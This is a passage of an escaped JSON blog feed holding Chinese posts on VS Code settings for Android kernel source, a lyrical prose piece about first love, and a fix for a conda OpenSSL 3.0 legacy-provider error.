class=\"hljs-string\"\u003e\u0026quot;/w14263\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w44265\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/w14928\u0026quot;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.enableWarnings\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.warningsAsError\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.compilerArgs\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.linkerArgs\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.includePaths\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.includeSearch\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;*\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;**/*\u0026quot;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.excludeSearch\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;**/build\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;**/build/**\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;**/.*\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;**/.*/**\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;**/.vscode\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;**/.vscode/**\u0026quot;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.useAddressSanitizer\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.useUndefinedSanitizer\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.useLeakSanitizer\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.showCompilationTime\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.useLinkTimeOptimization\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;C_Cpp_Runner.msvcSecureNoWarnings\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;files.exclude\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;**/.*.*.cmd\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;**/.*.d\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;**/.*.S\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;[c]\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;editor.detectIndentation\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;editor.tabSize\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-number\"\u003e8\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;editor.insertSpaces\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003e\u003cspan class=\"hljs-keyword\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;editor.rulers\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-number\"\u003e80\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-number\"\u003e100\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e由于不知道哪里没配置对,我就在\u003ccode\u003ec_cpp_properties.json\u003c/code\u003e内又配置了一遍includePath:\u003c/p\u003e\u003cp\u003e需要注意的是,我是直接拉取了\u003c/p\u003e\u003cfigure class=\"highlight json\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs json\"\u003e\u003cspan class=\"hljs-punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;configurations\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;name\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;linux-gcc-x64\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;cStandard\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;default\u0026#125;\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;intelliSenseMode\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;linux-gcc-x64\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;compileCommands\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;workspaceFolder\u0026#125;/compile_commands.json\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;includePath\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-punctuation\"\u003e[\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;workspaceFolder\u0026#125;/**\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;workspaceFolder\u0026#125;/kernel/**\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;workspaceFolder\u0026#125;/kernel/google/bluecross/**\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;workspaceFolder\u0026#125;/kernel/google/bluecross/drivers\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;workspaceFolder\u0026#125;/kernel/google/bluecross/kernel\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;workspaceFolder\u0026#125;/kernel/google/bluecross/include/**\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;workspaceFolder\u0026#125;/kernel/google/bluecross/arch/arm64/include/**\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;cppStandard\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;$\u0026#123;default\u0026#125;\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;compilerPath\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;/usr/bin/gcc\u0026quot;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e,\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-attr\"\u003e\u0026quot;version\u0026quot;\u003c/span\u003e\u003cspan class=\"hljs-punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"hljs-number\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003chr\u003e\u003cp\u003e参考文章:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://bbs.kanxue.com/thread-275365.htm\"\u003e[原创] Android Kernel 源码环境\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e","url":"https://xiue233.github.io/2024/08/13/vscode-config-for-android-kernel/"},{"title":"First Love Story","time":"2024-08-05T08:05:21Z","content":"\u003cp\u003e蝉鸣依旧,夏日炎长。\u003c/p\u003e\n\u003cp\u003e怡人的早晨,慵散于梦乡。\u003c/p\u003e\n\u003cp\u003e放纵那空气中弥漫着的鸟语,任凭花香拂过躯体。\u003c/p\u003e\n\u003cp\u003e无人知晓的早晨,惬意地拥抱着整个春朝,即使夏时已至。\u003c/p\u003e\n\u003cp\u003e梦,过于绵长,过于芬芳,望向逝去的春日,却险些错过盛夏。\u003c/p\u003e\n\u003cp\u003chr /\u003e\u003cp\u003e蝉鸣依旧,夏日炎长。\u003c/p\u003e\u003cp\u003e怡人的早晨,慵散于梦乡。\u003c/p\u003e\u003cp\u003e放纵那空气中弥漫着的鸟语,任凭花香拂过躯体。\u003c/p\u003e\u003cp\u003e无人知晓的早晨,惬意地拥抱着整个春朝,即使夏时已至。\u003c/p\u003e\u003cp\u003e梦,过于绵长,过于芬芳,望向逝去的春日,却险些错过盛夏。\u003c/p\u003e\u003cp\u003e回首而去,差许立秋。\u003c/p\u003e\u003cp\u003e远方的姑娘,望着她走过了整段春日。\u003c/p\u003e\u003cp\u003e河对岸的姑娘,与你,却不曾停歇,相向而行,相逢而过。\u003c/p\u003e\u003cp\u003e擦身之别,已入夏至,回首过往,便欲立秋。\u003c/p\u003e\u003cp\u003e那日芬芳扑鼻,循着朵朵桃花,惊鸿一瞥,忽见枝头女子笑颜生姹紫嫣红。\u003c/p\u003e\u003cp\u003e一笑醉四方,追日去,忘却身疲力竭,不知止。\u003c/p\u003e\u003cp\u003e饮断西湖泪,吃尽桃花林,力尽不知休,肠断方思敛。\u003c/p\u003e\u003cp\u003e鹊桥已去,何人涉足渡银河?\u003c/p\u003e\u003cp\u003e桃花亦谢,痴人说梦等春秋。\u003c/p\u003e\u003cp\u003e春朝已去,夏日绵长,秋收硕果,冬去春归。\u003c/p\u003e\u003cp\u003e亦已焉哉。天命至此,人事何为?\u003c/p\u003e\u003cp\u003e这年夏日,终于为爱之诗,写满了第一个篇章。\u003c/p\u003e","url":"https://xiue233.github.io/2024/08/05/first-love-story/"},{"title":"Linux下Conda遇到OpenSSL 3.0 Legacy错误","time":"2024-08-04T12:52:24Z","content":"\u003ch2 id=\"问题及解决方案\"\u003e\u003ca href=\"#问题及解决方案\" class=\"headerlink\" title=\"问题及解决方案\"\u003e\u003c/a\u003e问题及解决方案\u003c/h2\u003e\u003cp\u003e使用conda创建一个新环境时出现了:\u003c/p\u003e\n\u003cfigure class=\"highlight s\u003chr /\u003e\u003ch2 id=\"问题及解决方案\"\u003e\u003ca href=\"#问题及解决方案\" class=\"headerlink\" title=\"问题及解决方案\"\u003e\u003c/a\u003e问题及解决方案\u003c/h2\u003e\u003cp\u003e使用conda创建一个新环境时出现了:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003eError while loading conda entry point: conda-content-trust (OpenSSL 3.0\u0026#x27;s legacy provider failed to load. This is a fatal error by default, but cryptography supports running without legacy algorithms by setting the environment variable CRYPTOGRAPHY_OPENSSL_NO_LEGACY. If you did not expect this error, you have likely made a mistake with your OpenSSL configuration.)\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e实际上通过配置一个环境变量即可:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003eexport CRYPTOGRAPHY_OPENSSL_NO_LEGACY=1\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"问题剖析\"\u003e\u003ca href=\"#问题剖析\" class=\"headerlink\" title=\"问题剖析\"\u003e\u003c/a\u003e问题剖析\u003c/h2\u003e\u003cp\u003e以下是GPT的回答:\u003c/p\u003e\u003cp\u003e这个错误消息与OpenSSL 3.0及其提供的遗留加密算法有关。以下是错误的详细解释和解决方法:\u003c/p\u003e\u003ch3 id=\"错误详细解释\"\u003e\u003ca href=\"#错误详细解释\" class=\"headerlink\" title=\"错误详细解释\"\u003e\u003c/a\u003e错误详细解释\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003eError while loading conda entry point: conda-content-trust\u003c/strong\u003e:这表示加载Conda的特定组件(即\u003ccode\u003econda-content-trust\u003c/code\u003e)时出现问题。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eOpenSSL 3.0’s legacy provider failed to load\u003c/strong\u003e:OpenSSL 3.0 包含一个“遗留提供者”,其中包含较旧的加密算法。此错误表明该提供者未能加载。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eThis is a fatal error by default\u003c/strong\u003e:默认情况下,未能加载遗留提供者被认为是一个致命错误。\u003c/li\u003e\u003cli\u003e**cryptography supports running without legacy algorithms by setting the environment variable \u003ccode\u003eCRYPTOGRAPHY_OPENSSL_NO_LEGACY\u003c/code\u003e**:\u003ccode\u003ecryptography\u003c/code\u003e库可以在不使用这些遗留算法的情况下运行,只需设置环境变量\u003ccode\u003eCRYPTOGRAPHY_OPENSSL_NO_LEGACY\u003c/code\u003e为\u003ccode\u003e1\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eIf you did not expect this error, you have likely made a mistake with your OpenSSL configuration\u003c/strong\u003e:此错误可能是由于你的系统上的OpenSSL配置不正确造成的。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"解决方法\"\u003e\u003ca href=\"#解决方法\" class=\"headerlink\" title=\"解决方法\"\u003e\u003c/a\u003e解决方法\u003c/h3\u003e\u003cp\u003e要解决此错误,你可以将环境变量\u003ccode\u003eCRYPTOGRAPHY_OPENSSL_NO_LEGACY\u003c/code\u003e设置为\u003ccode\u003e1\u003c/code\u003e,这将指示\u003ccode\u003ecryptography\u003c/code\u003e库跳过遗留算法并在没有它们的情况下运行。\u003c/p\u003e\u003ch4 id=\"设置环境变量\"\u003e\u003ca href=\"#设置环境变量\" class=\"headerlink\" title=\"设置环境变量\"\u003e\u003c/a\u003e设置环境变量\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e临时解决方案(仅适用于当前会话)\u003c/strong\u003e:\u003cbr\u003e打开终端并运行:\u003c/p\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs sh\"\u003e\u003cspan class=\"hljs-built_in\"\u003eexport\u003c/span\u003e CRYPTOGRAPHY_OPENSSL_NO_LEGACY=1\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e永久解决方案(适用于所有会话)\u003c/strong\u003e:\u003cbr\u003e将该导出命令添加到你的shell配置文件中(例如,\u003ccode\u003e~/.bashrc\u003c/code\u003e、\u003ccode\u003e~/.bash_profile\u003c/code\u003e或\u003ccode\u003e~/.zshrc\u003c/code\u003e,取决于你使用的shell)。例如,如果你使用的是Bash:\u003c/p\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs sh\"\u003e\u003cspan class=\"hljs-built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026#x27;export CRYPTOGRAPHY_OPENSSL_NO_LEGACY=1\u0026#x27;\u003c/span\u003e \u0026gt;\u0026gt; ~/.bashrc\u003cbr\u003e\u003cspan class=\"hljs-built_in\"\u003esource\u003c/span\u003e ~/.bashrc\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"验证和应用步骤\"\u003e\u003ca href=\"#验证和应用步骤\" class=\"headerlink\" title=\"验证和应用步骤\"\u003e\u003c/a\u003e验证和应用步骤\u003c/h3\u003e\u003col\u003e\u003cli\u003e使用上述方法之一设置环境变量。\u003c/li\u003e\u003cli\u003e重新启动你的终端或使用以下命令重新加载shell配置文件以应用更改:\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs sh\"\u003e\u003cspan class=\"hljs-built_in\"\u003esource\u003c/span\u003e ~/.bashrc \u003cspan class=\"hljs-comment\"\u003e# 